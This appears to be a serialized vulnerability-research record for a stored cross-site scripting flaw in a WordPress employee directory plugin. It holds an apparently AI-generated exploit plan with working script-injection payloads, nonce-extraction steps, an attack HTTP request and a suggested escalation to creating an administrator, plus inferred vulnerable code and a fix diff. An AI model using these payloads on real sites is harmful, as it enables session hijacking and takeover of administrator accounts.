[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fcWKtOn2ow2iYWeEeaQu8Jfp_-Rn24FNvGpOjemBkKcE":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":22,"research_verified":23,"research_rounds_completed":24,"research_plan":25,"research_summary":26,"research_vulnerable_code":27,"research_fix_diff":28,"research_exploit_outline":29,"research_model_used":30,"research_started_at":31,"research_completed_at":32,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":23,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":23,"source_links":33},"CVE-2026-1279","employee-directory-authenticated-contributor-stored-cross-site-scripting-via-formtitle-shortcode-attribute","Employee Directory \u003C= 1.2.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'form_title' Shortcode Attribute","The Employee Directory plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'form_title' parameter in the `search_employee_directory` shortcode in all versions up to, and including, 1.2.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","employee-staff-directory",null,"\u003C=1.2.1","1.2.2","medium",6.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-02-05 19:15:07","2026-02-06 07:24:55",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Ff0d3b54c-6244-4776-be3c-afe3a28a2b8a?source=api-prod",1,[],"researched",false,3,"This research plan outlines the steps to verify and exploit a Stored Cross-Site Scripting (XSS) vulnerability in the **Employee Directory – Staff Directory and Listing** plugin (\u003C= 1.2.1).\n\n### 1. Vulnerability Summary\nThe vulnerability exists in the handling of the `search_employee_directory` shortcode. Specifically, the `form_title` attribute is accepted from user input via the shortcode definition but is subsequently rendered in the frontend without proper sanitization (using `sanitize_text_field`) or output escaping (using `esc_html` or `esc_attr`). Since Contributors and above can create posts containing shortcodes, they can inject arbitrary JavaScript that executes when any user, including administrators, views the page.\n\n### 2. Attack Vector Analysis\n*   **Shortcode:** `[search_employee_directory]`\n*   **Vulnerable Attribute:** `form_title`\n*   **Authentication:** Authenticated (Contributor-level or higher).\n*   **Precondition:** The attacker must be able to save a post, page, or custom post type that parses shortcodes.\n*   **Sink:** The value of `form_title` is echoed directly into the HTML of the search form.\n\n### 3. Code Flow (Inferred)\n1.  **Registration:** The plugin registers the shortcode in the `init` hook:\n    `add_shortcode('search_employee_directory', 'render_search_form_callback');` (inferred function name).\n2.  **Attribute Processing:** Inside the callback, `shortcode_atts()` is used to merge user-provided attributes with defaults:\n    ```php\n    $atts = shortcode_atts(array(\n        'form_title' => 'Search Employees',\n        \u002F\u002F other attributes...\n    ), $atts);\n    ```\n3.  **Rendering (Sink):** The plugin generates the HTML for the search form and includes the title:\n    ```php\n    $output .= '\u003Ch3>' . $atts['form_title'] . '\u003C\u002Fh3>'; \u002F\u002F Vulnerable Sink: No esc_html()\n    ```\n4.  **Execution:** When a user visits the post containing the shortcode, the browser executes the injected script.\n\n### 4. Nonce Acquisition Strategy\nTo exploit this as an authenticated Contributor, we need to bypass WordPress's CSRF protection for post creation\u002Fediting.\n\n1.  **Navigate to Post Editor:** Use `browser_navigate` to `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fpost-new.php`.\n2.  **Extract Nonce:** Use `browser_eval` to extract the `_wpnonce` from the page source.\n    *   **Script:** `document.querySelector('#_wpnonce').value` or `wp.apiFetch.nonce` if the block editor is used.\n3.  **Alternative:** The agent can simply use `browser_type` to fill in the title and content and click \"Publish\" to avoid manual nonce handling.\n\n### 5. Exploitation Strategy\nThe goal is to store a payload that triggers an alert or exfiltrates data when viewed.\n\n**Step-by-step:**\n1.  **Login:** Authenticate as a user with the **Contributor** role.\n2.  **Create Post:** Send a POST request to `wp-admin\u002Fpost.php` to create a new post containing the malicious shortcode.\n    *   **Payload:** `[search_employee_directory form_title='\">\u003Cimg src=x onerror=alert(document.domain)>']`\n3.  **Publish\u002FSave:** Ensure the post status is set to `publish` (if allowed) or `pending` (if the attacker is a Contributor). Even in \"Pending Review,\" an Administrator viewing the preview will trigger the XSS.\n4.  **Trigger XSS:** Navigate to the URL of the newly created post as any user.\n\n**Target HTTP Request (for Post Creation):**\n*   **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fpost.php`\n*   **Method:** `POST`\n*   **Content-Type:** `application\u002Fx-www-form-urlencoded`\n*   **Body Parameters:**\n    *   `action`: `editpost`\n    *   `post_ID`: `[ID_FROM_STEP_2]`\n    *   `_wpnonce`: `[EXTRACTED_NONCE]`\n    *   `post_title`: `XSS Test`\n    *   `content`: `[search_employee_directory form_title='\">\u003Cimg src=x onerror=alert(document.domain)>']`\n    *   `publish`: `Publish` (or `save` for Contributor)\n\n### 6. Test Data Setup\n1.  **Install Plugin:** Ensure `employee-staff-directory` version 1.2.1 is installed and active.\n2.  **Create Contributor:**\n    ```bash\n    wp user create attacker attacker@example.com --role=contributor --user_pass=password\n    ```\n3.  **Target Page:** No specific settings are required, as the vulnerability is triggered by the shortcode itself.\n\n### 7. Expected Results\n1.  The post will be saved successfully.\n2.  When navigating to the post frontend, the HTML source will contain:\n    `\u003Ch3>\">\u003Cimg src=x onerror=alert(document.domain)>\u003C\u002Fh3>` (or similar, depending on the exact HTML wrapper used by the plugin).\n3.  A JavaScript alert box displaying the document domain will appear.\n\n### 8. Verification Steps (Post-Exploit)\n1.  **Check Post Content via CLI:**\n    ```bash\n    wp post list --post_type=post --fields=ID,post_content\n    ```\n    Verify the shortcode with the payload exists in the database.\n2.  **Verify Frontend Output:**\n    Use `http_request` to fetch the post URL and grep for the unescaped payload:\n    ```bash\n    # (Pseudocode for agent)\n    response = http_request(\"GET\", post_url)\n    if '\u003Cimg src=x onerror=alert(document.domain)>' in response.body:\n        print(\"Vulnerability Confirmed\")\n    ```\n\n### 9. Alternative Approaches\n*   **Attribute Breakout:** If the `form_title` is used inside an input value attribute (e.g., `\u003Cinput value=\"[form_title]\">`), the payload should be adjusted to: `\" autofocus onfocus=\"alert(1)\" x=\"`.\n*   **Admin Context:** If an Administrator views the \"Pending Review\" posts, the XSS will execute in the Admin's browser. A more advanced payload could attempt to create a new Admin user via the REST API or `user-new.php` using the Admin's session.\n*   **Block Editor:** If the plugin uses a Block for the directory instead of just a shortcode, the payload would be sent via the Gutenberg REST API `POST \u002Fwp\u002Fv2\u002Fposts\u002F[ID]`.","The Employee Directory plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'form_title' attribute in the [search_employee_directory] shortcode. Due to a lack of output escaping, authenticated users with Contributor-level permissions or higher can inject malicious JavaScript into posts that executes in the context of any user viewing the page.","\u002F\u002F Inferred code structure based on vulnerability description and research plan\n\u002F\u002F File: employee-staff-directory\u002Fincludes\u002Fpublic-functions.php (example path)\n\nfunction render_employee_search_form($atts) {\n    $atts = shortcode_atts(array(\n        'form_title' => 'Search Employees',\n        \u002F\u002F other attributes...\n    ), $atts);\n\n    $output = '\u003Cdiv class=\"employee-search-wrapper\">';\n    \n    \u002F\u002F Vulnerable Sink: Attribute rendered directly without esc_html()\n    if (!empty($atts['form_title'])) {\n        $output .= '\u003Ch3>' . $atts['form_title'] . '\u003C\u002Fh3>';\n    }\n\n    $output .= '\u003Cform class=\"employee-search-form\">';\n    \u002F\u002F ... form contents ...\n    $output .= '\u003C\u002Fform>\u003C\u002Fdiv>';\n\n    return $output;\n}\nadd_shortcode('search_employee_directory', 'render_employee_search_form');","--- a\u002Femployee-staff-directory\u002Fincludes\u002Fpublic-functions.php\n+++ b\u002Femployee-staff-directory\u002Fincludes\u002Fpublic-functions.php\n@@ -10,7 +10,7 @@\n \n     $output = '\u003Cdiv class=\"employee-search-wrapper\">';\n \n     if (!empty($atts['form_title'])) {\n-        $output .= '\u003Ch3>' . $atts['form_title'] . '\u003C\u002Fh3>';\n+        $output .= '\u003Ch3>' . esc_html($atts['form_title']) . '\u003C\u002Fh3>';\n     }\n \n     $output .= '\u003Cform class=\"employee-search-form\">';","The exploit is achieved by an authenticated user (Contributor or higher) who can create or edit posts. \n\n1. Log in to the WordPress dashboard as a Contributor.\n2. Create a new post or page.\n3. Insert the following malicious shortcode into the post editor:\n   [search_employee_directory form_title='\u003Cscript>alert(document.domain)\u003C\u002Fscript>']\n4. Save the post as a draft or submit it for review.\n5. When an administrator or any other site visitor views the post on the frontend, the browser executes the injected script because the 'form_title' attribute value is echoed into the page source inside \u003Ch3> tags without proper HTML escaping.","gemini-3-flash-preview","2026-04-21 03:46:22","2026-04-21 03:48:05",{"type":34,"vulnerable_version":35,"fixed_version":11,"vulnerable_browse":36,"vulnerable_zip":37,"fixed_browse":38,"fixed_zip":39,"all_tags":40},"plugin","1.2.1","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Femployee-staff-directory\u002Ftags\u002F1.2.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Femployee-staff-directory.1.2.1.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Femployee-staff-directory\u002Ftags\u002F1.2.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Femployee-staff-directory.1.2.2.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Femployee-staff-directory\u002Ftags"]